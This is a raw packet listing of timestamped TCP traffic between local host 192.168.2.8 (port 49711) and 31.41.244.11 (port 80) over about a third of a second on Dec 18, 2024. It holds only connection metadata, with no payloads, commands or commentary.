Dec 18, 2024 09:07:12.056384087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.057490110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.057548046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.057627916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.057689905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.058862925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.058918953 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.058954000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.058999062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.060400009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.060517073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.060569048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.061477900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.061525106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.176692009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.176891088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.176898003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.176987886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.177136898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.177191973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.177411079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.177483082 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.178458929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.178525925 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.178702116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.178765059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.179207087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.179258108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.179265976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.179310083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.180093050 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.180150986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.180210114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.180264950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.181011915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.181070089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.181229115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.181288958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.181996107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.182054996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.182126045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.182183027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.182935953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.182998896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.183064938 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.183114052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.184034109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.184156895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.184158087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.184261084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.184911013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.184977055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.185059071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.185120106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.185834885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.185892105 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.185949087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.186023951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.186798096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.186886072 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.186985016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.187181950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.187855959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.187889099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.187948942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.188699961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.188750029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.188790083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.188841105 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.189666033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.189723969 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.189786911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.189934015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.190659046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.190722942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.190773964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.190828085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.191644907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.191694975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.191752911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.192511082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.192565918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.192646027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.192961931 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.193511009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.193573952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.193603992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.193681955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.194490910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.194574118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.194828987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.194945097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.195460081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.195518017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.195555925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.195624113 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.196387053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.196836948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.196904898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.197282076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.197335005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.197413921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.197463989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.198237896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.198292017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.198347092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.198395014 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.199187040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.199253082 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.199300051 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.199353933 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.200263977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.200319052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.200386047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.200439930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.201142073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.201200962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.201282024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.201364040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.202095985 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.202150106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.202217102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.202280045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.203011036 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.203073978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.203155041 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.203206062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.204025030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.204086065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.204260111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.204310894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.204916000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.204967976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.205104113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.205152988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.205907106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.205974102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.206053972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.206147909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.206861019 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.206919909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.206960917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.207144976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.207889080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.207922935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.207952976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.207983971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.208770990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.208858967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.208967924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.209017992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.209759951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.209810972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.209867954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.210779905 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.210835934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.210895061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.211447001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.211695910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.211747885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.211860895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.211925983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.212665081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.212733984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.212827921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.212882042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.213587999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.213641882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.214081049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.214134932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.214512110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.214575052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.214617968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.214668989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.215511084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.215575933 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.215630054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.215673923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.216444016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.216504097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.216522932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.216572046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.217406988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.217442036 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.217468977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.217499971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.218346119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.218437910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.218441010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.218488932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.219254971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.219368935 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.219396114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.219445944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.220304966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.220356941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.220407963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.221215010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.221282959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.221318960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.221371889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.222157001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.222209930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.222253084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.222304106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.223067045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.223121881 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.223201990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.223257065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.224026918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.224148035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.224200964 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.225121975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.225156069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.225176096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.225203991 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.225955963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.226008892 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.226068974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.226119995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.226869106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.226922035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.368247032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.368307114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.368423939 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.368864059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.368896961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.368920088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.368957043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.369533062 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.369587898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.369657993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.369712114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.370606899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.370640039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.370665073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.370707035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.371665955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.371700048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.371757030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.372525930 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.372577906 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.372704983 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.372756004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.373437881 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.373492002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.373621941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.373672962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.374458075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.374490976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.374542952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.375307083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.375376940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.375382900 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.375428915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.376792908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.376908064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.376965046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.377163887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.377214909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.377532959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.377583981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.378175020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.378226042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.378268003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.378320932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.379333019 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.379364967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.379384995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.379414082 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.380048990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.380172968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.380223989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.380990028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.381042004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.381191969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.381243944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.382028103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.382077932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.382090092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.382124901 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.382905960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.382958889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.383021116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.383071899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.383971930 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.384191990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.384252071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.385045052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.385078907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.385103941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.385133028 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.385919094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.386019945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.386060953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.386112928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.386691093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.386744976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.386826992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.386879921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.387764931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.388020039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.388076067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.388746023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.388803959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.388870955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.388926983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.389591932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.389759064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.389837980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.389897108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.390558958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.390625000 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.390748024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.390800953 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.391534090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.391665936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.391720057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.392616034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.392648935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.392669916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.392698050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.393388033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.393436909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.393495083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.393543005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.394407034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.394454956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.394571066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.394619942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.395347118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.395396948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.395426035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.396343946 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.396353960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.396409035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.396439075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.397212982 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.397398949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.397448063 CET	49711	80	192.168.2.8	31.41.244.11
